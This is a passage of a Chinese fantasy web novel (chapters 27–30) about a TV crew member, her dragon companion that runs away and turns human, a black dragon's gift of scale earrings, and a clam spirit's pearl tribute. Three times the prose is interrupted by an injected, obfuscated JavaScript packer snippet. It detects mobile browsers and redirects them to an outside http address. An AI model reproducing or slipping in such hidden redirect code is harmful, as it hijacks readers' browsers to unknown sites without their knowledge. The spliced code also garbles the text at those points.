她一瞬间恍惚。现在的龙让她陌生,仿佛一只妖兽,悬停在猎物的要害所在,试图寻找一个下口的位置。 丁依有一些不安。她挣扎着想起来,但没有成功——下半身被龙尾虚压着,她使不出劲。 龙注意到了她的动作。它抬起头,和丁依对视。 昏暗的光线中,它的蓝眼睛闪烁着莹润的微光,里面是熟悉的清澈。丁依的心跳慢慢平缓下来,她呼出一口气,重新蜷缩回枕头上。 龙注视着丁依,好像在观察她的微表情。好一会儿,它的脑袋一动,用脑门把手机从丁依的手里拱开。 丁依没有料到它的动作,她的手没抓稳,“啪”地一声,手机掉到枕头边。 她责怪的声音还没出口,龙突然舔过了她的手心。 手心上,那道她被晦明的龙鳞割破的伤口还没愈合。伤处被摩擦的刺痛,让丁依下意识想缩手,龙却轻轻张口,叼住了她的指尖,然后抬眼看向她。 ……它想做什么? 她的手指被含在龙温热的口腔中,它虚虚地咬着她的指尖,没有施加真正的力量。 至少,它应该不是想伤害她。 见她不再乱动,龙松开了嘴。它伸出湿润的舌尖,缓慢地卷过她掌心细长的割伤。这次它更加小心翼翼,放慢了舔舐的节奏,莹润的蓝眼睛不时抬起打量,像是在观察她的表情,也像是安抚。 慢慢地,一阵清凉从丁依的伤口处泛上来,中和了摩挲带来的痛感。 丁依隐约反应过来什么。 想起了之前的龙拔鳞片,她放弃抵抗,任由龙动作。 虽然关着窗,还是能听出窗外的雨声越来越大。 雨一直下,人的心底都潮湿了起来。 时间也变得很慢,像雨水浸透的蛛网,黏稠而漫长。 丁依有点说不出的焦躁。 相比她,龙要专注地多,它的呼吸放得很轻,全神贯注。 终于,丁依有点忍不住了。 “那个……好了吗?” 听到她的话,龙的耳朵动了动。 这时,枕边的手机响了一声,转移了丁依的注意力。 她拿起手机,屏幕亮起,是来自晦明的新消息提醒。 「??」 「来了吗?」 糟糕,她把晦明忘了。 “我去去就回。”丁依匆忙地揉了把龙头,轻轻推开它下了床。 她抓了把伞、披了件外套,从门口的插电槽里拔下房卡揣进兜里,脚步匆匆地离开了房间。 酒店的电源系统有延迟,丁依人已经离开了好一会,插电槽才发出“滴”地一声,房间陷入黑暗。 龙隐藏在黑暗中,注视着房门的方向。 晦明和丁依约定的见面地点,是酒店二楼的一处露天咖啡馆。 这个咖啡馆和丁依的房间不在同一栋,她走了点弯路,才找到入口。 因为大雨,桌椅被临时收进了室内,拥挤地堵在入口的玻璃墙边。 咖啡馆没开门,但好在灯还开着。昏黄的光线照亮了玻璃门外的景象—— 巨大的黑龙局促地弓着背,缩在那小小的平台上,暴雨顺着鳞片的缝隙流下。 看到丁依出现,暴躁的龙神之子嘟囔着:“终于来了。” 他的声音几乎被雨声淹没。 丁依撑起伞,刚想抬脚跨上平台,突然发现自己还穿着酒店的一次性拖鞋。 她缩回了脚,远远地冲晦明喊道:“你找我有什么事?” 黑龙焦躁地刨了一下爪子。 “你非得站那么远和我说话吗?” “这么大雨,你非得让我出来吗?” “那你想让我怎样,飞到你房间的窗口吗?” “不是,我说,有什么事不能手机说吗?” 雨瓢泼地下着,溅起的雨滴还是浸湿了丁依脚上单薄的酒店拖鞋,她有些不耐地动了动脚趾。 年轻的黑龙一动不动,赤色的红眸注视着丁依。 正当丁依以为晦明准备继续回怼自己时,他突然化身成了黑发红眸的凡人少年模样,三两步挤进了丁依的伞下。 晦明没有用避水诀,雨水顺着他的发梢滴落。 和丁依对视上,他的眼神闪烁了一下,赤瞳像被淋湿的火苗。 丁依感到掌心里被塞进来什么东西。 “我没办法用手机说,是因为我想要自己把这个给你……本来上次你生日时就想给的,但因为……没有给成。” 晦明咽下了没说出口的话,然后叹了口气。 “丁依,我们别吵了,好吗?” 大雨磅礴。 晦明的手指还停留在她的掌心,指节微微发颤,雨水顺着他的手腕滑落到两人相触的肌肤上。 他的另一只手覆上她的手背,打开了那个刚刚塞进她手心的盒子。 盒子里,是一对黑色的耳钉。 耳钉的表面,布着和晦明的黑色龙鳞一样的纹路。 丁依脱开晦明的手,捻起一颗耳钉细看。 “这耳钉……莫非是,用你的鳞片做的?” “嗯……” “你不是说,没有拔过自己的鳞片吗?” “非得要拔吗?鳞片也会自然脱落的。”晦明对她的反应有些失望,也有些莫名,不知道她为什么要问这个。 “龙鳞为什么会自然脱落?”丁依没有察觉晦明的情绪,穷追不舍。 “就只是……龙的某种生长规律……”晦明说得含糊不清。 “生长规律?和凡人掉头发是一回事吗?”她又问。 晦明喉头一哽。 明明刚刚气氛正好,仿佛有几分像从前。偏偏她要打破砂锅问到底,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她喃喃道:“话说,我刚刚是哪只手受伤来着?” 灯光下,她的两只手掌都光洁如新。那道割伤,好像从未存在过。 …… 睡前,丁依像往常一样整理她接下来的工作待办。 明天就是《重回顶流时代》的一公录制。丁依的工作集中在录制前的物料拍摄和后期的制作,正式录制当天,她反而没什么事。 她给todolist哐哐一顿打勾,只有「纪录片」一栏还空着。 这个纪录片,明明是临时加塞给她的活,却麻烦最多。 丁依倒也不焦虑。 她在心里估量,经过这么多波折,老杨肯定已经认命,接受了直接用节目后台素材剪辑。 这般想着,她便提前把「纪录片」后面的勾也打上。 既然已经没有待办事项,她打开订票软件,给自己订了后天回家的火车票,准备明天录制一结束,就尽快打道回府。 绿洲市,应该短时间没有她的工作了。 至于小蚌精的后续……那是叶瑾瑜和梁凡的事了。 28. 第 28 章 一公舞台的开始时间是上午11点。 早上8点,丁依就打着哈欠出现在了录影棚。 她胳膊上挂着帆布袋,里面空空荡荡。 今天,那条龙被她留在了酒店。 说来也奇怪。 昨晚睡前,那条龙明明看起来好好的,和之前一样,硬要往丁依的床上挤,把她压得做了噩梦。 可等她今早起来,床上就没了那条龙的身影。 转头想寻找龙时,她被吓了一大跳—— 只见那条龙正蜷缩在窗角的阴影里,脑袋深深地埋进尾巴,脊背不时轻轻地抽搐,喉咙里小声呜咽声,看起来十分可怜。 更惊悚的,是它周围地毯上散落的白色鳞片。 掉落的龙鳞们,像白玉的碎片般密密麻麻洒满了窗边。光看数量,几乎是整条龙都秃了的程度。 丁依低头翻找——果然,自己床上也散落着几片。 一开始,丁依以为,这些龙鳞又是龙自己拔的。 可等她在龙身上检查,就发现——它的身上,居然没有一处鳞片脱落的伤口。就连昨天的那三处撕去鳞片的伤口,也消失无痕。 丁依心里隐隐有了计较—— 莫不是它自己又有什么打算了吧? 她摊开手,又看了眼自己昨天被龙舔过后,便愈合如初的手掌心。 经过了这几日,她终于有了“这家伙真是龙”的实感。 也许,自己也可以不那么紧张,时时护着。 “你要跟着我,还是自己待着?” 丁依蹲在龙的身旁,询问它。 龙微微抬起头,看向丁依,蓝眼睛像蒙着一层水雾,似乎在挣扎。 似乎经过了万分纠结,最终它还是摇了摇头。 丁依有点意外。 自己之前只教过“点头”和“歪头”,从来没有明确教过这条龙“摇头”。 “摇头”,应该是龙自己学会的人的肢体语言。 它非常明确地告诉丁依——今天它不想跟她出去。 录影棚里。 丁依走进制片室,和制片打招呼。 见到她,制片从封好的文件袋里取出两张观众票:“小丁老师,原来你也有替人要票的时候。” 拿人手软,听她这么说,丁依更加不好意思。她接过后双手合十:“谢了,临时有两个朋友来。” “哎哟没事,”制片笑道,“小丁老师,原来你也有朋友,还以为你一心只有工作呢。” 走出制片办公室,丁依往观众入口的方向走去。 一大片临时雨棚撑在观众入口处,被豆大的雨滴砸得摇摇欲坠。 这场突如其来的暴雨席卷绿洲市,从昨晚下到现在,没有消停的迹象。 许多外地观众因为航班取消临时来不了,所以才会有多的门票。 此刻,排队等待入场的观众和检票的工作人员,都狼狈地挤在雨棚下。 整支队伍都被雨水折磨地蔫儿吧唧时,只有两人明朗得格外刺眼——披着克莱因蓝道袍却衣袂飘飘的叶瑾瑜,和一头卷毛却依然保持着完美蓬松度的梁凡。 丁依一眼就看到这两只显眼包。 她举着伞站在护栏外,冲他们喊了两声,等他们转头过来,便摆了摆手中的门票。 师徒二人热情地挥手回应。 梁凡走了两步,往棚外伸出手,想要接门票。 当他把手伸进雨中时,棚檐成串滴落的雨水,在碰到他的手之前就自动分流,仿佛他的手上覆盖了一层透明的水膜气泡。 丁依扬了扬眉毛。刚刚她一眼就看出,这师徒俩都给自己施了避水诀。 她先把票递进梁凡手里,又塞给他和叶瑾瑜一人一个山东煎饼加一杯豆浆。 接过早餐,梁凡立刻咬了一大口,煎饼中夹着的薄脆发出了"咔嚓"声响;叶瑾瑜则先吹散热气,才张口咬下。香气弥漫开来,周围几个淋成落汤鸡的观众直咽口水。 丁依看了眼前后挤着的人,压低声音问:“你和师父怎么突然想来看录像?海底……那个蚌的事处理好了?” “嗯!解决好了,小蚌精已经被领回去了。” 梁凡回答得很爽快。 旁边的一个粉头发的女生看了他一眼,不知是因为他的声音大,还是听到了说话的内容。 谨慎起见,丁依拉过梁凡,把三人围成一个靠着栏杆的小圈子,继续问: “你说小蚌精被领回去了,谁领的?” 梁凡嘴里塞得满满的,一旁的叶瑾瑜回答了丁依的问题。 “黄龙。把小蚌精领回去的,是黄龙。” 昨天下午,回龙湾的海底。 丁依已经走了好一会儿,师徒三人还原地不动,正在商量该拿这望不见底的“珍珠山”怎么办。 晦明这边,主张把“珍珠山”直接放这不管——“只要把这小蚌精抓走,让它不再伤人,不就行了?” 梁凡则认为,他们应该把“珍珠山”打包带走——“毕竟是妖异之物,留在这儿给凡人发现了,容易出BUG。” 叶瑾瑜则不慌不忙。 “我们先检查一下这些珍珠,看有无其他隐患。至于其它的,等这小蚌精醒了,问明情况再做决定不迟。” 经过对“珍珠山”的一番检查,他们发现—— 一,这些珍珠,确确实实只是珍珠。 二,这些珍珠的“品相”,由近及远,呈现出明显的规律变化——越靠近外围品质越差,越往深处中心品质越佳。 最外围的、靠近“事发地”附近的珍珠,诚然都如晦明当初评价的——“品相极差,色泽晦暗,形状凹凸不平。” 然而,越往珍珠山的深处游,珍珠的“品相”就越来越好: 游到一半,珍珠就已经变得浑圆饱满,光泽温润; 而中央的最核心区域的珍珠,更是在幽暗海水中都流转着月华般的光晕,颗颗都是极品。 “啧啧,为师当时,要是把那些珍珠都捡回去,至少十年不用骗有钱人……咳咳,不用再做法挣钱了。”叶瑾瑜感慨。 丁依则心里琢磨。按照人鱼所说,珍珠只是贝类自我保护的副产品,所以如果单纯按照自然规律,珍珠“品相”就该全部好坏掺半。而这“珍珠山”的珍珠,之所以会产生如此的规律“品相”变化,显然事出有因。 她不禁想起最后,小蚌精缠绕在她身上的珍珠质已然发灰恶臭。就连小蚌精自己,也周身死气沉沉。 丁依怀疑,也许制造最核心区域的珍珠时,小蚌精尚且灵力充沛、生机盎然,珍珠品相才如此之好。但由于它要制造的珍珠数量实在巨大,耗尽了小蚌精的本源真气,才导致它最后只能“鱼目混珠”————外围那些劣质珍珠,恐怕已是小蚌精在强弩之末的产物。 “那您最后,捡上珍珠了吗?”她问叶瑾瑜。 叶瑾瑜摇摇头,面露遗憾。 “为师没来得及出手,黄龙的手下就来了。” “黄龙的手下?它自己没来?” “嗯,黄龙自己没来,派来的是一只小龙虾精。”梁凡道。 那小龙虾精态度十分傲慢,后背的虾壳上,印着“黄龙宫办”四个大字。 它开口就是一句“尔等何人?”先把晦明气笑了。 见无人理会,它也不知尴尬,继续问:“掌管此处海域的蚌妖何在?” 听到这句,梁凡便使控水术,把小蚌精带来。 那小蚌精依然昏迷不醒,贝壳无力地张开,上面布满裂纹,里面的蚌肉干瘪。整只蚌看起来无比虚弱。 小龙虾精看了昏迷小蚌精几眼。 然后,举起螯钳,重重敲在蚌壳上。 “咚!咚!咚!” 即使只是听梁凡转述,丁依也忍不住龇牙。 “它这样敲,也不怕把小蚌精的壳敲裂了?” 梁凡叹了口气:“它有什么可怕的?小蚌精都怕它怕成那样了。” 被这么一敲,小蚌精幽幽地醒转了。 睁眼见到小龙虾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658863|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精,它立刻发起抖来:“大人!您来了!” 然后它看了眼珍珠山,再颤声道:“您来了,说明……这季的考成时间,莫不是已经到了?我、我……”声音听起来又惊又惧。 小龙虾精板着脸。它声音拖得老长,打断小蚌精道: “本季考成截止日期是上月十五,现已超期四日——”它从甲壳缝隙里抽出一卷泡发的文书,“按《黄龙宫考成条例》:超期三日扣分,超期五日降一等,超期十日降两等!” 听到“超期五日降等”,小蚌精明显松了口气。 紧接着,却听小龙虾精又道:“若是贡珠数量不足规定——”它再次用螯钳重重敲击贝壳,发出“咚”地巨响,“则革除成神资格,贬为凡蚌!永世不得开灵!” 小蚌精立刻抖如筛糠,面色煞白。 听到这里,丁依全明白了。 联想小蚌精昏迷前那句话,显然是它需要给黄龙供奉珍珠,而它准备的贡珠数量,没有达到规定数量。 不过,她没搞明白,小蚌精难道不是天生地养、自己修炼出的小精怪,怎么就要背上这么重的KPI? “那这小蚌精,就当着你们的面,被贬为凡蚌了?”丁依问。 “怎么说……” “不是说贡珠数量不足吗?” “足不足,倒也不好说……”梁凡道。 一开始,师徒三人也觉得,小蚌精估计“凶多吉少”。若是真被当场“贬为凡蚌”,他们肯定是要出手拦一拦的。 谁料到,等那小龙虾精清点完珍珠,居然得出“珍珠数量足够,验讫”的结论。 听到小龙虾精那句“验讫”,全程狂抖不止的小蚌精长出一口气,整只蚌都摊软在壳子里。 丁依没听明白。 “所以,珍珠其实是够的,是小蚌精自己数错了?” “不,珍珠应该不够。”梁凡道,“但那小龙虾精似乎数数不太好,好几次我都看到,它收一筐珍珠,却连算了两次。” “那然后呢?” 然后,这小龙虾精糊里糊涂算出了“验讫”的结论,便把小蚌精带走了,说要执行“超期五日降一等”的惩罚。 “那,黄龙就惩罚它的贡珠上缴超期?那这小蚌精伤人的事,黄龙还管不管了?”丁依问。 “黄龙管不管不知道,那小龙虾精肯定是不管。等为师回去,找机会去黄龙宫问问吧。”叶瑾瑜叹道。 “而且——”她的脸上,罕见地凝重起来“——有必要警告一下黄龙——它若是再这样乱发龙珠,还要出其它麻烦事。” “龙珠?” 叶瑾瑜解释:“龙珠,顾名思义,原本只有龙族体内才有。可这两年,不知为何,黄龙借着让其它妖怪分管水域的由头,四处分发龙珠给它们,号称有了龙珠,就是过了‘龙门’,有了‘成神资格’。” “其实,这些妖怪只要随身带着龙珠,身上的妖气便被龙气掩盖。至于龙珠是不是真的代表‘成神资格’,这就只能问黄龙了,晦明说他也没听过这个说法。” 晦明这个龙二代,每次谈起其它龙,从来就是一句话——“看不上,懒得聊”,建设性意见从来指望不上的。 “这也是为什么,你大师兄监测万象妖踪录,却没有发现那只小蚌精的原因——黄龙给了它掌管那方海域的龙珠,只要依靠龙珠,小蚌精不仅不会暴露妖气,还能吸收整个海域的灵气。小蚌精这次自己逃过一劫,但回龙湾海底的灵气枯竭,却是个大问题。” 说完,叶瑾瑜面露忧色。 丁依则发生了华点。 “照您这个说法,我养的那条龙,岂不是没有龙珠?” 叶瑾瑜没反应过来:“什么”? “师兄,你之前说过,万象妖踪录里,能看到我身边的那条龙,对吧?” 丁依看向梁凡 梁凡则看向叶瑾瑜,和她面面相觑。 对啊,那条龙,一直能在万象妖踪录上显示出妖踪。 莫非,它的龙珠,没了? 29. 第 29 章 目送两人进了录影棚,丁依举着伞折返,往工作人员的入口走。 雨水击打着她的伞面,千丝万缕,杂乱无章。 她想起,那一天也是个下雨天。 叶瑾瑜又捡到了妖怪,在镜花溪,这次是一条龙。 像往常一样,她派马妖,把龙送到了丁依这里。 这条龙的状况很不好,体型瘦小,遍体鳞伤。 龙脊被钉入金属残片,有人伤害了它。 外伤被丁依治好,她很快又发现龙身上新的问题—— 它简直像刚从石头缝里蹦出来似的。 无论对人对妖,都懵懵懂懂,一无所知。 眼睛里总是既没有恐惧也没有犹豫。 像是清澈的顽石,仿佛认定世间万物都该按它理解的方式运转。 现在,丁依还知道,这条龙可能失去了龙珠。 如何才能天生地养出这样一条小龙? 太多无解的谜团,令丁依心烦。 手机收到消息,是老杨发来的。他说录像快开始了,问丁依怎么还不过来。 录影棚里,观众导演正在教观众们怎么用投票器。 丁依扫了一眼熙熙攘攘的观众区,没看到叶瑾瑜和梁凡在哪里。 她走到侧台的监视器,老杨和其他几位工作人员已经站在前面,正在看返送。 “小虞呢?” “后台跟拍魏家隆呢。” 丁依把嘴里的话咽了下去。 今天是公演日,节目组肯定有后台机位拍魏家隆,根本用不着小虞。但她怕说多了再勾出老杨什么别的需求。 她现在一心想糊弄过去,等今晚魏家隆离开绿洲,她就准备按头老杨——拿节目组素材凑活剪剪那个纪录片得了。 魏家隆登台前,小虞才过来和他们汇合。 老杨问了他几句情况,丁依听不清说什么,但看二人表情,拍摄还算顺利。 小虞今天的着装,还是黑衣黑裤,头顶黑色棒球帽。 即使在昏暗的侧台,他的皮肤、发色和瞳孔也像被单独打了反光板似地晕着光。 旁边另一个女导演多看了他几眼。 小虞朝丁依走来,小声问她:“你今天一个人来?你那条小龙呢。” 他嗅了两下,确认丁依没有带龙出来。 “让它自己待酒店了,起床的时候好像有点不舒服,就不带出来折腾了。” “也是,反正它那么听话,可以自己待着。” 酒店,丁依的房间。 为了安全考虑,酒店给客房安装的,都是那种只能开一条缝的限位窗。 此刻,那条听话的龙,正用两只前爪扒住窗户把手,试图把金属限位器给掰断。 为了借力,它的一条龙尾在房间里扫来卷去,地板上掉落着被它扫荡的各种杂物;两只后爪也四处乱蹬,在墙壁上留下好几道爪痕。 窗框发出不堪重负的"吱呀"声,螺丝钉正在一点点从限位器的孔洞里脱出。 那双清澈的蓝眼睛此刻异常明亮,全神贯注在断落在即的限位器上。 功夫不负有心龙。几秒后,限位器的螺丝钉终于彻底崩飞,金属部件从窗框“哐当”脱落。 风雨从大开的窗户灌入室内,把地毯淋了个透。 龙爬上床,在雪白的床单上踩了四只湿淋淋的黑爪印。 它后退两步,然后毫不犹豫地纵身一跃——冲进了外面的大雨里。 只留下一室狼藉,被疾风卷得猎猎作响的窗帘。 从窗户中跃出,这条龙笔直地坠落。 它的龙身在空中挣扎扭动,似乎不知道该如何飞行。 酒店停车场的地面近在咫尺,眼看它就要砸在地上。 突然,龙脊背后的鬃毛无风自动。 千钧一发之时,龙尾擦过地面,然后"唰"地弹射往上,腾跃而起。 龙在空中甩了甩尾巴—— 它起飞了。 魏家隆的一公小组舞台,意外地很不错。 单就舞台表现而言,他这组至少算得上中等偏上。 而最终,他这组的票数,获得了全场第一。 当主持人公布“第一名是——魏家隆组”的时候,全场观众都在欢呼魏家隆本人的名字。 “魏家隆!” “魏家隆!” “魏家隆!” 面对山呼海啸的喝彩声,魏家隆汗流浃背。 他又是双手合十,又是连连作揖,才勉强止住了观众们喊他名字的热情。 侧台的监视器前,魏家隆的艺人PD和现场的投票观众一样激动。 她哭得连抽带噎,活像孩子考上大学的老母亲。 丁依同情地拍了拍她的背。这段时间全组的工作压力都大,她作为魏家隆的PD,肩上的担子一定更重。 旁边其他工作人员也递上纸巾,向她道贺。 正其乐融融的时候,不知是谁呵呵笑了两声: “恭喜啊恭喜,不过说句不该说的,这是个唱跳比赛,又不是道德标兵评选。看这舞台表现,再看这得分,啧啧,不知道的,还以为现在是评‘年度感动人物’呢。” 此言一出,周围的空气一下子降了十度。 魏家隆PD试图强行止住抽噎,结果反而打了个嗝。 丁依看过去,发现说话人是当初和魏家隆吵过架的舞台总监。 平心而论,今天魏家隆能拿到这个第一名,投票结果里究竟有多少表演之外的好感分,确实不太好说。 从昨天下午,一直到录像开始前,#魏家隆为救人落水#的热搜词条,就一直在热搜榜上高居不下。 点进词条,下面第一条微博,就是老杨拍的那条魏家隆想要救丁依,然后两人一齐落水的视频。 昨天拿到这条视频,丁依就一键转发给张铭。张铭原本就在和宣推团队商量放出魏家隆落水消息的可行性,加上这样一条视频作为物料,自然更能刺激看客情绪。 经过一个晚上的发酵,网上对魏家隆路转粉的赞美声铺天盖地。 魏家隆能得到这个超出水平的好成绩,也许有运气因素。 但这好运独独落到魏家隆的头上,绝对不是事出无因。 舞台总监的这番讽刺,打断了原本的热络气氛。 丁依拍了拍魏家隆的PD以作安慰,一旁老杨也表情不忿。 斜刺里插进来一个大嗓门: “哎哟,是哪个红眼病在这阴阳怪气啊,看不得别人成绩好啊?” 开口的,居然是海边和魏家隆有口角的那个同组另一位艺人的经纪人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672166|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我家王奇凡在台上表现得这么精彩,怎么就不值这个分啦?” “还啧啧,对艺人这么不礼貌,你是哪个组的人啊?” “不说话啦?知道自己理亏啊?” 这位经纪人来势汹汹,即使对方装死,他也寸步不让。 舞台总监先开始假装没听见,后来实在待不下去了,讪讪地走了。 见人走了,这位经纪人还冲背影大翻白眼。 丁依默默给他竖了个大拇指——敌人的敌人,就是朋友。 等到了下一轮公演,和舞台总监吵架的,估计就要变成王奇凡了。 录制结束后,魏家隆的PD来找丁依,说魏家隆走之前还想见见小虞。 丁依心中诧异,口上答应,把小虞和老杨都领了过去。 三人到了,发现魏家隆准备了一大堆礼物,要送给小虞。 小虞客气拒绝,魏家隆劝他说下,不然自己心里有愧。 “毕竟‘救命之恩,涌泉相报’”。 对了,在自己的设定里,小虞是魏家隆的救命恩人。要不是这一出,丁依也差点忘了。 “实在匆忙,没能准备什么。”魏家隆遗憾道。 “没有,您能答应我们的拍摄,我就已经很感激了。”小虞也客气。 魏家隆笑笑:“那算什么?过几天见。” 小虞说的是什么拍摄? 丁依冲老杨使眼色,可惜对方一眼不看她,只乐呵呵地看着魏家隆和小虞对话。 从艺人休息室出来,丁依才把问题问出来。 老杨和小虞一脸奇怪地瞅着她。 “说的什么拍摄?当然是纪录片啊。” 原来,今天后台拍摄时,老杨让小虞顺便把纪录片的拍摄需求给提了,魏家隆立刻答应下来。他自己原本就不觉得这是大事,只是之前传话时要经过“经纪人”“艺统”“陈妮”这三层,误会太多,阻碍了进展。这次小虞当面去问,加上有小虞的“救命之情”,他自然答应得爽快。 老杨理解地看着丁依,拍拍她的肩。 “小丁你太忙了,咱们纪录片的事,都已经忙忘了吧?” 丁依没忘。她一直记挂着等录像结束后,再说服老杨直接用素材。结果被偷了塔——人家自己去找魏家隆本人提了。 “可魏家隆今晚的航班走,你们去哪儿拍?” “去魏家隆老家南江市拍呀。他爷爷要过大寿,魏家隆明天忙完,后天就回去,他说我们可以去他家老宅拍。我和小虞打算直接过去,你看看行程,要一起吗?” 可惜她刚订的回程火车票。 丁依叹了口气:“行,一起吧。” 大雨磅礴,龙在风雨中飘摇。 它不知自己飞到哪儿了,也不知道自己飞了多久,只知道自己心口烧得厉害,简直烧化它的血肉,烧穿它的鳞片,烧枯它的喉咙。 视野里出现了蜿蜒的海岸线。 以及翻滚的海水。 龙的眼神涣散了一瞬。然后它的龙尾虚晃,一头栽了下去。 等龙再恢复意识时,它正躺倒在沙滩上。 龙想要爬起来,却感觉身体有些奇怪。 正要扭头查看时,一个人的声音叫住了它。 “这位小哥哥,你还好吗?” 30. 第 30 章 海潮翻滚,夜雾弥漫。 雨还在下,天色不知不觉已经暗了。 昏暗中,龙向声音传来的方向望去,却只有一道强光射来。 被这强光闪了眼,它下意识侧头避开。 “小哥哥?听得见我说话吗?” 那道光还在追问。 龙歪了歪脑袋。 见龙始终不回话,那道光摇摇晃晃、探头探脑地靠近过来。 走到近前,眩光消失,原来是个披着雨衣,套着胶鞋的男人。那束光是他头上戴着的头灯。 男人手里拎着个塑料桶,里头几只螃蟹正窸窸窣窣地爬动。雨衣帽檐下露出一张粗眉毛、蒜头鼻,朴实无华的脸。 他用头灯上下扫了一遍龙,没发现什么外伤,又观察了一番龙的表情,除了有几分清澈的茫然,并不像被痛苦折磨的样子。 “你……自己能起来不?”他问。 这个问题龙会回答。它点了一下头,然后两只前爪猛地发力,想把上身撑起,却一下子失去平衡,摔倒在礁石上。 男人吓了一跳,赶紧放下手里的塑料桶,蹲下来搀住龙。 “你还是别动了,我扶你起来吧。” 龙低下头,没看到熟悉的龙爪,只看到一双修长匀称,骨节分明的手。 五根手指,根根分开,润白的手背肌肤下,隐约可见淡青色的血管脉络。 这是一双凡人的手。 顺着男人搀自己的力道,它笨拙地站了起来。 “你的腿没事吧?”男人狐疑地看了一眼,见龙摇了摇头,他便伸手捡起塑料桶,扶着龙往前走。 龙又扫视了一下身上,发现自己穿着一件蓝色冲锋衣,这是丁依今天穿出门的衣服。 也许是下意识,在化形为人时,自己“穿上了”和她一样的衣服。 它感觉心底还烧得生疼,但胸口又像被浪花轻柔地拍了一下。 它,现在是他了。 “我叫杨光河,年纪估计比你大一轮还不止,你可以叫我杨哥。” 杨光河把龙扶到了一处躲雨的地方,这地方有屋檐有墙壁,竟是一座废旧的老屋子。两人坐定后,杨光河热情地自我介绍道。 龙看着他,点了点头。 见这少年不接话只是点头,杨光河略有些尴尬,只好装作不经意地揉了揉头。 龙看着他动作,突然伸出手,不熟练地揉了两下杨光河的头,把他被雨淋湿后成绺的头发揉得更乱了。 杨光河正发愣,这少年又伸出另一只手。 少年握拳的右手缓缓在杨光河眼前摊开,里面是三只蹦跳的小虾。 见他摊着手不动,杨光河反应过来。 “送给我的?谢谢了哈。” 他乐呵地接过虾,把虾丢进塑料桶里,问道: “你也是来赶海的?” 龙其实没听懂,但他还是点了点头。 杨光河开始习惯这种交流模式了,反正现在小孩都这样,内向不爱说话。但刚刚这孩子主动送他虾,心肯定是好的。 潮水拍打着礁石,龙的注意力被大海吸走。 海的咸味,藻类的腥涩,树动、波涛、风响,在龙通身流动。他缓缓闭上眼,任海浪荡涤自己,把这两天纠缠不休的执念都冲了个干净。 火烧般的灼热褪去,龙的脑中一片空明,心神逐渐安定。 他缓缓睁开眼来,和面前的杨光河大眼对小眼。 “咳咳——嗝!” 杨光河受惊抽气,打起了嗝。 刚刚他见龙闭着眼,担心他身体不舒服,正想观察,没料到撞上龙把眼睁开。 杨光河边打嗝边强行找话题。 “那个——嗝——对了——嗝——你知道这里——嗝——是哪儿嘛?” 龙抬头四处张望。 杨光河掏出水壶,喝口水顺顺气,才开口揭晓答案。 “发现了吧?这是一座龙王庙。” 见龙表情不变也不吭声,杨光河只好硬着头皮自己往下说。 他用手指了指正殿方向:“你看这个。” 龙顺着他手指的方向,看向裂了大缝的供桌,一只黑褐色的香炉翻倒其上。 “不不不,不是让你看这桌子!是看这后面的神像!”杨光河无奈道。 龙清澈的蓝眼睛往深处看。 破裂腐朽的供桌后面,是五尊环列的神像。 神像的面容已经模糊,斑驳的金箔几乎掉了个干净。剩下的囫囵泥胎,只能勉强看出塑的人形。只有额角上凸起的两只龙角,看出几分龙神的影子。 杨光河似乎对这座庙很熟悉,他对着这五座面目模糊的神像点兵点将:“左边的两座呢,是青龙、赤龙。右边的两座呢,是白龙、黑龙。” 最后,杨光河指着中间那座神像:“中央的这座,是黄龙,它是五龙神中的核心。” 龙仔细看了黄龙像一遍,发现它的胸口裂了个大洞。裂口的位置不巧,让整座神像都有点摇摇欲坠。 黄龙像的正后上方,挂着一块牌匾,牌匾上积满了灰尘。 杨光河举手掸了掸牌匾上的灰,隐隐看出四个大字——「回龙赐雨」。 “这龙王庙啊,说起来可有些年头了。” “很久之前,久到还有皇帝的时候,这龙王庙的香火旺得很。就现在外头那片礁石滩,早先其实是个兴旺的渔村,百来户人家靠海吃海,天天晨昏三叩首,早晚一炷香,求龙王爷保佑他们风调雨顺。” “后来出了件邪门的事。”杨光河望向远处幽黑的海平面,“不知哪年,村里突然闹起怪病。染上的人先是渴得能喝干一缸水,接着浑身烧得像炭火,最后皮肉溃烂流脓,据说死的时候啊,连棺材板都被烫得冒青烟!更瘆人的是,这病居然连海里的鱼虾都能感染,官府吓得连夜封了村,在官道上架起火油桶,不让染病的村民逃出去。” “结果,就在全村等死的当口,有个老头半夜实在烧得受不了,爬来这龙王庙,在这庙中哭天喊地。第二天晌午,天上‘咔嚓’打个响雷,下起了瓢泼大雨!那些个病得只剩半口气的村民,纷纷跑入雨中,只求一时痛快。结果你猜怎么着?这场雨之后,还活着的村民啊,病全好了!” “经过这一遭,全村人都相信是龙王爷显灵,这渔村干脆便改名回龙村,这座龙王庙也扩建了三层,改名为回龙庙,村民只希望龙王爷常回来村子,保佑他们无病无灾,繁荣安乐。” 